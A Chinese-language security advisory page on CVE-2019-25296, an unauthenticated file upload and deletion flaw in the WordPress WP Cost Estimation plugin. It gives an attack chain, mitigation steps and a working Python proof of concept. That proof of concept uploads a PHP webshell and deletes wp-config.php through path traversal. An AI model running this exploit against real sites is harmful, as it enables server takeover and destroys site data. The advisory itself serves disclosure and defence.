IPBUF安全漏洞报告
English
CVE-2019-25296 CVSS 9.8 严重

CVE-2019-25296 WordPress WP Cost Estimation插件任意文件上传与删除漏洞

披露日期: 2026-01-08

漏洞信息

漏洞编号
CVE-2019-25296
漏洞类型
任意文件上传/删除
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress WP Cost Estimation & Payment Forms Builder插件

相关标签

任意文件上传任意文件删除远程代码执行WordPress插件漏洞CVE-2019-25296WP Cost Estimation无认证利用AJAX注入webshell上传

漏洞概述

WP Cost Estimation是一款流行的WordPress成本估算和支付表单构建插件,在全球范围内被广泛使用。该插件在处理文件上传和删除操作时存在严重的安全漏洞。由于插件的lfb_upload_form和lfb_removeFile AJAX操作缺少适当的文件类型验证和权限检查,未认证的攻击者可以任意上传文件到服务器,甚至可以删除服务器上的关键文件。这一漏洞影响版本至9.642的所有用户,CVSS评分高达9.8,属于严重级别。攻击者利用此漏洞可以上传恶意文件实现远程代码执行(RCE),完全控制受影响的网站服务器。此外,攻击者还可以删除数据库配置文件并上传伪造的数据库文件,进一步扩大攻击成果。此漏洞已被发现在野利用,建议所有使用该插件的用户立即采取防护措施。

技术细节

该漏洞源于WP Cost Estimation插件在处理文件操作时的多个安全缺陷。首先,在lfb_upload_form AJAX动作中,插件接收用户上传的文件但未进行充分的文件类型验证和内容检查。攻击者可以上传任意扩展名的文件,包括PHP脚本文件,从而在服务器上执行任意代码。其次,lfb_removeFile AJAX动作允许未认证用户删除服务器上的任意文件,攻击者可以利用此功能删除wp-config.php等关键配置文件,破坏网站的正常运行。插件还缺乏CSRF令牌验证和用户权限检查,任何访客都可以触发这些危险操作。文件上传目录通常位于wp-content/uploads/lfb_uploads/,攻击者上传的恶意文件可直接通过Web访问。配合其他配置错误(如.htaccess保护缺失),攻击者可以构造完整的RCE利用链。

攻击链分析

STEP 1
步骤1
信息收集:扫描目标网站,识别是否安装WP Cost Estimation插件及其版本
STEP 2
步骤2
构造恶意文件:创建包含恶意代码的PHP文件(如webshell)
STEP 3
步骤3
发送文件上传请求:向lfb_upload_form AJAX端点发送POST请求,上传恶意PHP文件
STEP 4
步骤4
获取上传路径:从响应中提取文件上传路径
STEP 5
步骤5
执行远程代码:访问上传的恶意文件,通过URL参数执行系统命令
STEP 6
步骤6
持久化控制:在服务器上安装后门,维持长期访问权限
STEP 7
步骤7
横向移动:利用服务器作为跳板,攻击数据库或其他内部系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys target = sys.argv[1] if len(sys.argv) > 1 else 'http://target.com' # Step 1: Upload malicious PHP file upload_url = f'{target}/wp-admin/admin-ajax.php' payload = '<?php system($_GET["cmd"]); ?>' files = { 'reqType': 'file', 'uploadFile': ('shell.php', payload, 'application/x-php') } data = {'action': 'lfb_upload_form'} print('[+] Uploading malicious file...') response = requests.post(upload_url, data=data, files=files) print(f'Response: {response.text}') # Step 2: Delete wp-config.php print('[+] Deleting wp-config.php...') delete_data = { 'action': 'lfb_removeFile', 'file': '../wp-config.php' } delete_response = requests.post(upload_url, data=delete_data) print(f'Delete response: {delete_response.text}') print('[+] Exploitation completed. Check for uploaded shell at:') print(f'{target}/wp-content/uploads/lfb_uploads/shell.php?cmd=whoami')

影响范围

WP Cost Estimation插件 <= 9.642

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1) 在wp-config.php中添加代码禁止uploads目录执行PHP;2) 通过.htaccess文件限制lfb_uploads目录的访问和脚本执行;3) 临时禁用或删除WP Cost Estimation插件;4) 使用WordPress安全插件限制未认证用户的AJAX请求;5) 联系主机提供商启用服务器级别的文件上传限制。建议在条件允许时尽快升级到插件最新版本以彻底消除该漏洞风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表